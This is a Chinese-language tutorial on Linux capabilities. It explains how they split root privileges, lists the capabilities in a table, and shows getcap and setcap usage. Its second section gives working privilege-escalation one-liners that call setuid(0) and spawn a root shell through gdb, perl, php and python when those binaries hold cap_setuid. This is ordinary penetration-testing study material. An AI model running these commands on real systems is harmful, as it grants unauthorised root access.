0x00 Capabilities入門
什么是Capabilities
Linux的Root用戶擁有最高的權限,可以對幾乎系統中的任何文件進行操作。然而普通用戶如何操作一些高權限的文件?
在Linux中存在兩種方法:
第一種是在執行的命令前加上sudo,這樣就會以Root的身份進行操作。
第二種方法是設置SUID或SGID,這樣雖然會以原用戶的身份進行操作,但是獲得了操作權限。
SUID和SGID存在安全隱患,因為某文件設置了之后普通用戶將會獲得廣范圍的操作權限。
為了避免這種安全隱患,Linux內核 2.2 之后引入了Capabilities機制。什么是Capabilities機制哪?
原理很簡單,就是將之前與超級用戶 root(UID=0)關聯的特權細分為不同的功能組,Capabilites 作為線程(Linux 並不真正區分進程和線程)的屬性存在,每個功能組都可以獨立啟用和禁用。其本質上就是將內核調用分門別類,具有相似功能的內核調用被分到同一組中。
這樣一來,權限檢查的過程就變成了:在執行特權操作時,如果線程的有效身份不是 root,就去檢查其是否具有該特權操作所對應的 capabilities,並以此為依據,決定是否可以執行特權操作。
細分后的特權:
capability名稱 | 描述 |
---|---|
CAPAUDITCONTROL | 啟用和禁用內核審計;改變審計過濾規則;檢索審計狀態和過濾規則 |
CAPAUDITREAD | 允許通過 multicast netlink 套接字讀取審計日志 |
CAPAUDITWRITE | 將記錄寫入內核審計日志 |
CAPBLOCKSUSPEND | 使用可以阻止系統掛起的特性 |
CAP_CHOWN | 修改文件所有者的權限 |
CAPDACOVERRIDE | 忽略文件的 DAC 訪問限制 |
CAPDACREAD_SEARCH | 忽略文件讀及目錄搜索的 DAC 訪問限制 |
CAP_FOWNER | 忽略文件屬主 ID 必須和進程用戶 ID 相匹配的限制 |
CAP_FSETID | 允許設置文件的 setuid 位 |
CAPIPCLOCK | 允許鎖定共享內存片段 |
CAPIPCOWNER | 忽略 IPC 所有權檢查 |
CAP_KILL | 允許對不屬於自己的進程發送信號 |
CAP_LEASE | 允許修改文件鎖的 FL_LEASE 標志 |
CAPLINUXIMMUTABLE | 允許修改文件的 IMMUTABLE 和 APPEND 屬性標志 |
CAPMACADMIN | 允許 MAC 配置或狀態更改 |
CAPMACOVERRIDE | 忽略文件的 DAC 訪問限制 |
CAP_MKNOD | 允許使用 mknod() 系統調用 |
CAPNETADMIN | 允許執行網絡管理任務 |
CAPNETBIND_SERVICE | 允許綁定到小於 1024 的端口 |
CAPNETBROADCAST | 允許網絡廣播和多播訪問 |
CAPNETRAW | 允許使用原始套接字 |
CAP_SETGID | 允許改變進程的 GID |
CAP_SETFCAP | 允許為文件設置任意的 capabilities |
CAP_SETPCAP | 參考 capabilities man page |
CAP_SETUID | 允許改變進程的 UID |
CAPSYSADMIN | 允許執行系統管理任務,如加載或卸載文件系統、設置磁盤配額等 |
CAPSYSBOOT | 允許重新啟動系統 |
CAPSYSCHROOT | 允許使用 chroot() 系統調用 |
CAPSYSMODULE | 允許插入和刪除內核模塊 |
CAPSYSNICE | 允許提升優先級及設置其他進程的優先級 |
CAPSYSPACCT | 允許執行進程的 BSD 式審計 |
CAPSYSPTRACE | 允許跟蹤任何進程 |
CAPSYSRAWIO | 允許直接訪問 /devport、/dev/mem、/dev/kmem 及原始塊設備 |
CAPSYSRESOURCE | 忽略資源限制 |
CAPSYSTIME | 允許改變系統時鍾 |
CAPSYSTTY_CONFIG | 允許配置 TTY 設備 |
CAP_SYSLOG | 允許使用 syslog() 系統調用 |
CAPWAKEALARM | 允許觸發一些能喚醒系統的東西(比如 CLOCKBOOTTIMEALARM 計時器) |
Capabilities使用
查詢
getcap [路徑]
## 查詢全部
getcap -r / 2>/dev/null # -r 遞歸查詢 2>/dev/null 錯誤信息從定向到null
設置
## 多個Capabilities以分號划分
setcap [Capabilities名稱]=eip [路徑]
## 設置多個案例
setcap cap_setgid,cap_setuid=eip /usr/bin/python
## 注意
設置時路徑要指定源文件,不可以是鏈接文件,如果報錯可以查看是不是路徑指定的為鏈接文件
刪除
setcap -r [路徑]
0x01 提權實例
setuid
通過setuid可以將進程執行用戶設置為root,以達到獲取root權限效果
gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
## -ex 執行命令
## gdb調用python debug調試;在shell中啟動python的命令為python2,在gdb中也為python
## -nx 不初始化腳本
-
無
-
有
perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
-
無
-
有
php
php -r "posix_setuid(0); system('/bin/sh');"
出現如下時
需要安裝php-posix
yum install php-posix
## centos中命令
- 無
- 有
python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
- 無
- 有